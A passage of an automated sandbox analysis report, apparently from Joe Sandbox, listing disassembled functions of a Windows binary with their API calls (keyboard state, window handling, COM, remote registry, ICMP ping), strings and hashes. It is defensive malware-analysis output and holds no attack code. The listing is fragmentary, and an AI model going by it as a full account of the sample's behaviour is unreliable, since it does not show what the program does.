GetKeyState.USER32(00000011), ref: 00B4A12E
GetAsyncKeyState.USER32(00000012), ref: 00B4A157
GetKeyState.USER32(00000012), ref: 00B4A165
GetAsyncKeyState.USER32(0000005B), ref: 00B4A18E
GetKeyState.USER32(0000005B), ref: 00B4A19C

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 3d159aadcd2b50ccd0231f521df3c16df5cfff266d7267162dedfd90ac3083dc
Instruction ID: 04258aeb4d9f6c6887ff543d68efbafb592163227c3629a9cbc999c42827174e
Opcode Fuzzy Hash: 3d159aadcd2b50ccd0231f521df3c16df5cfff266d7267162dedfd90ac3083dc
Instruction Fuzzy Hash: 0B51B92094478829FB35DBA08851BEBBFF5DF12380F0845DDD5C2571C2DA54AB8CD762

Function 00B45CC6 Relevance: 18.2, APIs: 12, Instructions: 173COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00B45CE2
GetWindowRect.USER32(00000000,?), ref: 00B45CFB
MoveWindow.USER32(?,0000000A,00000004,?,?,00000004,00000000), ref: 00B45D59
GetDlgItem.USER32(?,00000002), ref: 00B45D69
GetWindowRect.USER32(00000000,?), ref: 00B45D7B
MoveWindow.USER32(?,?,00000004,00000000,?,00000004,00000000), ref: 00B45DCF
GetDlgItem.USER32(?,000003E9), ref: 00B45DDD
GetWindowRect.USER32(00000000,?), ref: 00B45DEF
MoveWindow.USER32(?,0000000A,00000000,?,00000004,00000000), ref: 00B45E31
GetDlgItem.USER32(?,000003EA), ref: 00B45E44
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00B45E5A
InvalidateRect.USER32(?,00000000,00000001), ref: 00B45E67

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 83c2aad5966e7c1d965a4f032b15fbc6eb8f8a6bb44eff39ec3e66c31d53f3f8
Instruction ID: 57973c69df3c930e864f71553abf35c8c966e5381b39635710310f0736f4b1e3
Opcode Fuzzy Hash: 83c2aad5966e7c1d965a4f032b15fbc6eb8f8a6bb44eff39ec3e66c31d53f3f8
Instruction Fuzzy Hash: 2D510CB1A00609AFDB18CF68DD89AAEBBF5EF48300F54816DF519E7291DB709E44CB50

Function 00AF8BCD Relevance: 18.2, APIs: 12, Instructions: 168timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00AF8F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00AF8BE8,?,00000000,?,?,?,?,00AF8BBA,00000000,?), ref: 00AF8FC5

DestroyWindow.USER32(?), ref: 00AF8C81
KillTimer.USER32(00000000,?,?,?,?,00AF8BBA,00000000,?), ref: 00AF8D1B
DestroyAcceleratorTable.USER32(00000000), ref: 00B36973
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,00000000,?,?,?,?,00AF8BBA,00000000,?), ref: 00B369A1
ImageList_Destroy.COMCTL32(?,?,?,?,?,?,?,00000000,?,?,?,?,00AF8BBA,00000000,?), ref: 00B369B8
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00AF8BBA,00000000), ref: 00B369D4
DeleteObject.GDI32(00000000), ref: 00B369E6

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: 6a19ae7b3310383a5afb08c493f3b658d858f0a9db1ccbdbb52b32e59ca5aa81
Instruction ID: e174e300b9b4d97cbe3553e6ba30ca74af3d63206db1db1e499a4ccba0aa7d48
Opcode Fuzzy Hash: 6a19ae7b3310383a5afb08c493f3b658d858f0a9db1ccbdbb52b32e59ca5aa81
Instruction Fuzzy Hash: A061AB30102608EFCB258F58CA58B357BF1FB40312F608A5CE1869B560CF79A992CF90

Function 00AF9838 Relevance: 18.1, APIs: 12, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 00AF9944: GetWindowLongW.USER32(?,000000EB), ref: 00AF9952

GetSysColor.USER32(0000000F), ref: 00AF9862

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 89d15d495b992c3d08a1762a3801def62a0b65283fefc5044728e332995b6c5e
Instruction ID: 6365789261fa7c3719af3e42ea055c7addddf02d8afd90bff8ef71165dd8dade
Opcode Fuzzy Hash: 89d15d495b992c3d08a1762a3801def62a0b65283fefc5044728e332995b6c5e
Instruction Fuzzy Hash: 93411431100608AFDB305F789C88BBA3BA5EB16370F24465DFAE6871E1CB319D82DB50

Function 00B496E2 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,?,?,00B2F7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?), ref: 00B49717
LoadStringW.USER32(00000000,?,00B2F7F8,00000001), ref: 00B49720

Part of subcall function 00AE9CB3: _wcslen.LIBCMT ref: 00AE9CBD

GetModuleHandleW.KERNEL32(00000000,00000001,?,00000FFF,?,?,00B2F7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?,00000000), ref: 00B49742
LoadStringW.USER32(00000000,?,00B2F7F8,00000001), ref: 00B49745
MessageBoxW.USER32(00000000,00000000,?,00011010), ref: 00B49866

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00B4984A
Line %d (File "%s"):, xrefs: 00B4978F
Line %d:, xrefs: 00B497A0
^ ERROR, xrefs: 00B497FB
Error: , xrefs: 00B4981D

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wcslen
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 747408836-2268648507
Opcode ID: 05976a88ec8fcd1963ac0b90dc8f307971f97991b58e7a91af90e834613f355c
Instruction ID: b6800ebe97476e0578f2f74ecf5ba90d09dbbe8f5880412c4179234f4b417a75
Opcode Fuzzy Hash: 05976a88ec8fcd1963ac0b90dc8f307971f97991b58e7a91af90e834613f355c
Instruction Fuzzy Hash: DF413A72804249AACF14FBE1CE86EEF77B8AF55340F600465F605760A2EE256F48DB61

Function 00B406DE Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 127registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE6B57: _wcslen.LIBCMT ref: 00AE6B6A

WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00B407A2
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00B407BE
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 00B407DA
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00B40804
CLSIDFromString.OLE32(?,000001FE,?,SOFTWARE\Classes\), ref: 00B4082C
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00B40837
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00B4083C

Strings

\IPC$, xrefs: 00B40784
\CLSID, xrefs: 00B40724
SOFTWARE\Classes\, xrefs: 00B4070E

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_wcslen
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 323675364-22481851
Opcode ID: 7c765befccc72b749295d5fc45d5637d92dc88b8d5e99412df5a1eab13304320
Instruction ID: b41379358fd0a8d8bc5c113c5e01cdf9edee8cffbe84eb19887c435b7595f13e
Opcode Fuzzy Hash: 7c765befccc72b749295d5fc45d5637d92dc88b8d5e99412df5a1eab13304320
Instruction Fuzzy Hash: 0A413972C10229ABCF21EFA4DD85CEEB7B8FF54350F144169E905A7161EB30AE44DBA0

Function 00B73F98 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 00B7403B
CreateCompatibleDC.GDI32(00000000), ref: 00B74042
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00B74055
SelectObject.GDI32(00000000,00000000), ref: 00B7405D
GetPixel.GDI32(00000000,00000000,00000000), ref: 00B74068
DeleteDC.GDI32(00000000), ref: 00B74072
GetWindowLongW.USER32(?,000000EC), ref: 00B7407C
SetLayeredWindowAttributes.USER32(?,?,00000000,00000001,?,00000000,?), ref: 00B74092
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?), ref: 00B7409E

Strings

static, xrefs: 00B73FD3

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: f4d4b113a98de0e73e654e1150ce6d379b3a581733a3d8769781fdcf7bf1e612
Instruction ID: a8d40d36d5fcfc5cdb7b0e794cd5b91a7db09767af9c1de7570c7c745dc8be43
Opcode Fuzzy Hash: f4d4b113a98de0e73e654e1150ce6d379b3a581733a3d8769781fdcf7bf1e612
Instruction Fuzzy Hash: 06318C32101219ABDF219FA4CC49FDA3FA8FF0D721F104258FA29A61A0CB75D850DB90

Function 00B63C30 Relevance: 16.8, APIs: 11, Instructions: 344fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00B63C5C
CoInitialize.OLE32(00000000), ref: 00B63C8A
CoUninitialize.OLE32 ref: 00B63C94
_wcslen.LIBCMT ref: 00B63D2D
GetRunningObjectTable.OLE32(00000000,?), ref: 00B63DB1
SetErrorMode.KERNEL32(00000001,00000029), ref: 00B63ED5
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,?), ref: 00B63F0E
CoGetObject.OLE32(?,00000000,00B7FB98,?), ref: 00B63F2D
SetErrorMode.KERNEL32(00000000), ref: 00B63F40
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00B63FC4
VariantClear.OLEAUT32(?), ref: 00B63FD8

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize_wcslen
String ID:
API String ID: 429561992-0
Opcode ID: 5ab71bdcc466adc1deede132ff45a1bd00c2959f013a8786cec963907a0c3d5a
Instruction ID: 640d3d53b1928c284abd9a0a259f185a64a9acfb14e94edc15308774b5f400e3
Opcode Fuzzy Hash: 5ab71bdcc466adc1deede132ff45a1bd00c2959f013a8786cec963907a0c3d5a
Instruction Fuzzy Hash: 44C16A716083019FC700DF64C88492BBBE9FF89B44F1049ADF98A9B251DB35EE45CB62

Function 00B57A96 Relevance: 16.8, APIs: 11, Instructions: 298comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00B57AF3
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00B57B8F
SHGetDesktopFolder.SHELL32(?), ref: 00B57BA3
CoCreateInstance.OLE32(00B7FD08,00000000,00000001,00BA6E6C,?), ref: 00B57BEF
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00B57C74
CoTaskMemFree.OLE32(?,?), ref: 00B57CCC
SHBrowseForFolderW.SHELL32(?), ref: 00B57D57
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00B57D7A
CoTaskMemFree.OLE32(00000000), ref: 00B57D81
CoTaskMemFree.OLE32(00000000), ref: 00B57DD6
CoUninitialize.OLE32 ref: 00B57DDC

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
String ID:
API String ID: 2762341140-0
Opcode ID: b75ab1a6fa998fbcf85ac798d0952c09efc64b96b0c523adf051a84f8220c358
Instruction ID: 00802d51346df7e13b6629fca0b95375d3a7db3241a52a7e7a56a3c2266091f5
Opcode Fuzzy Hash: b75ab1a6fa998fbcf85ac798d0952c09efc64b96b0c523adf051a84f8220c358
Instruction Fuzzy Hash: 7BC10D75A04209AFCB14DF64D884DAEBBF9FF48305B1484E9E91A9B361DB30ED45CB90

Function 00B7541D Relevance: 16.7, APIs: 11, Instructions: 191windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00B75504
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00B75515
CharNextW.USER32(00000158), ref: 00B75544
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00B75585
SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00B7559B
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00B755AC

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: MessageSend$CharNext
String ID:
API String ID: 1350042424-0
Opcode ID: 4f18e236b8eda56e8d30018def77ef8d7dff279412395e19cbe4d7001e09af68
Instruction ID: 604a331c2914e8e2abf1b701345608cf8b538ef1a4e1e6519c60826fbdc090bd
Opcode Fuzzy Hash: 4f18e236b8eda56e8d30018def77ef8d7dff279412395e19cbe4d7001e09af68
Instruction Fuzzy Hash: B5617070904609EFDF209F54CC85AFE7BF9EB05760F108189F639A7290DBB49A81DB60

Function 00B3FA88 Relevance: 16.6, APIs: 11, Instructions: 122memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00B3FAAF
SafeArrayAllocData.OLEAUT32(?), ref: 00B3FB08
VariantInit.OLEAUT32(?), ref: 00B3FB1A
SafeArrayAccessData.OLEAUT32(?,?), ref: 00B3FB3A
VariantCopy.OLEAUT32(?,?), ref: 00B3FB8D
SafeArrayUnaccessData.OLEAUT32(?), ref: 00B3FBA1
VariantClear.OLEAUT32(?), ref: 00B3FBB6
SafeArrayDestroyData.OLEAUT32(?), ref: 00B3FBC3
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00B3FBCC
VariantClear.OLEAUT32(?), ref: 00B3FBDE
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00B3FBE9

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 1f2de99b5a938d99f754f3dcf3a60187bbe3cae7523f4984e3bf842965b8a2dc
Instruction ID: 4caff00887b03be3933be5a4cb039530b8f9899abcfdb7db0cb676c3093a9518
Opcode Fuzzy Hash: 1f2de99b5a938d99f754f3dcf3a60187bbe3cae7523f4984e3bf842965b8a2dc
Instruction Fuzzy Hash: BC414F75E0021A9FCF00DF68D8589BEBBF9EF48354F108069E95AA7361DB30A945CB90

Function 00B49C79 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00B49CA1
GetAsyncKeyState.USER32(000000A0), ref: 00B49D22
GetKeyState.USER32(000000A0), ref: 00B49D3D
GetAsyncKeyState.USER32(000000A1), ref: 00B49D57
GetKeyState.USER32(000000A1), ref: 00B49D6C
GetAsyncKeyState.USER32(00000011), ref: 00B49D84
GetKeyState.USER32(00000011), ref: 00B49D96
GetAsyncKeyState.USER32(00000012), ref: 00B49DAE
GetKeyState.USER32(00000012), ref: 00B49DC0
GetAsyncKeyState.USER32(0000005B), ref: 00B49DD8
GetKeyState.USER32(0000005B), ref: 00B49DEA

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 4bdc131691ce05824ae7fafe9f1af5776705b70b9e4bca19fae109d10feed40a
Instruction ID: 43056e0865d38a6ff87bfd6e15a7064f523d21333a9d9671e98b8858c9119b6c
Opcode Fuzzy Hash: 4bdc131691ce05824ae7fafe9f1af5776705b70b9e4bca19fae109d10feed40a
Instruction Fuzzy Hash: 1941D5349047C96DFF308A6488447B7BEE0EB21344F0480EEDAC6575C2DBA59BC8D7A2

Function 00B6055B Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 207networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00B605BC
inet_addr.WSOCK32(?), ref: 00B6061C
gethostbyname.WSOCK32(?), ref: 00B60628
IcmpCreateFile.IPHLPAPI ref: 00B60636
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00B606C6
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00B606E5
IcmpCloseHandle.IPHLPAPI(?), ref: 00B607B9
WSACleanup.WSOCK32 ref: 00B607BF

Strings

Ping, xrefs: 00B60676

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 78ad7b268ddfe59bfce1111749c611def41a28a79056f16df8b6d99a6d6ff635
Instruction ID: e40c81737f649426731249e64b5ab638111267ebe88a2813db5707b8b1416bf4
Opcode Fuzzy Hash: 78ad7b268ddfe59bfce1111749c611def41a28a79056f16df8b6d99a6d6ff635
Instruction Fuzzy Hash: 4B918C356182419FD320EF16D589F2BBBE0EF44318F1485A9F46A9B6A2CB34ED41CF91

Function 00B68CD3 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 193COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00000000,?), ref: 00B68CF3

Part of subcall function 00B48E54: _wcslen.LIBCMT ref: 00B48E77

_wcslen.LIBCMT ref: 00B68D4E
_wcslen.LIBCMT ref: 00B68D9C
_wcslen.LIBCMT ref: 00B68DDC
_wcslen.LIBCMT ref: 00B68E6E

Strings

cdecl, xrefs: 00B68D48, 00B68D4D
winapi, xrefs: 00B68D96, 00B68D9B
stdcall, xrefs: 00B68DD6, 00B68DDB
none, xrefs: 00B68E65, 00B68E6A

Memory Dump Source

Source File: 00000006.00000002.4098458824.0000000000AE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000006.00000002.4098425445.0000000000AE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000B7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098545678.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098636988.0000000000BAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000006.00000002.4098690661.0000000000BB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ae0000_9963a8aba7.jbxd

Similarity

API ID: _wcslen$BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 707087890-567219261
Opcode ID: c92fd97fa660bab25b1f7bf6c9b187b8517f7ee47cbb02d23b2888416391d039
Instruction ID: 5616cc05c7d44c8dfea83d7196799e8d6e645d29422b3779c28d2c7398273ff8
Opcode Fuzzy Hash: c92fd97fa660bab25b1f7bf6c9b187b8517f7ee47cbb02d23b2888416391d039
Instruction Fuzzy Hash: B6519072A041169BCB24DF6CC9909BEB7E5FF65324B2043A9E926E72C4DB39DD40C790

Function 00B6372C Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 187comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00B63774
CoUninitialize.OLE32 ref: 00B6377F
CoCreateInstance.OLE32(?,00000000,00000017,00B7FB78,?), ref: 00B637D9
IIDFromString.OLE32(?,?), ref: 00B6384C
VariantInit.OLEAUT32(?), ref: 00B638E4
VariantClear.OLEAUT32(?), ref: 00B63936

Strings

Failed to create object, xrefs: 00B637E4, 00B6389A
Invalid parameter, xrefs: 00B63865
NULL Pointer assignment, xrefs: 00B6381E

Memory Dump Source

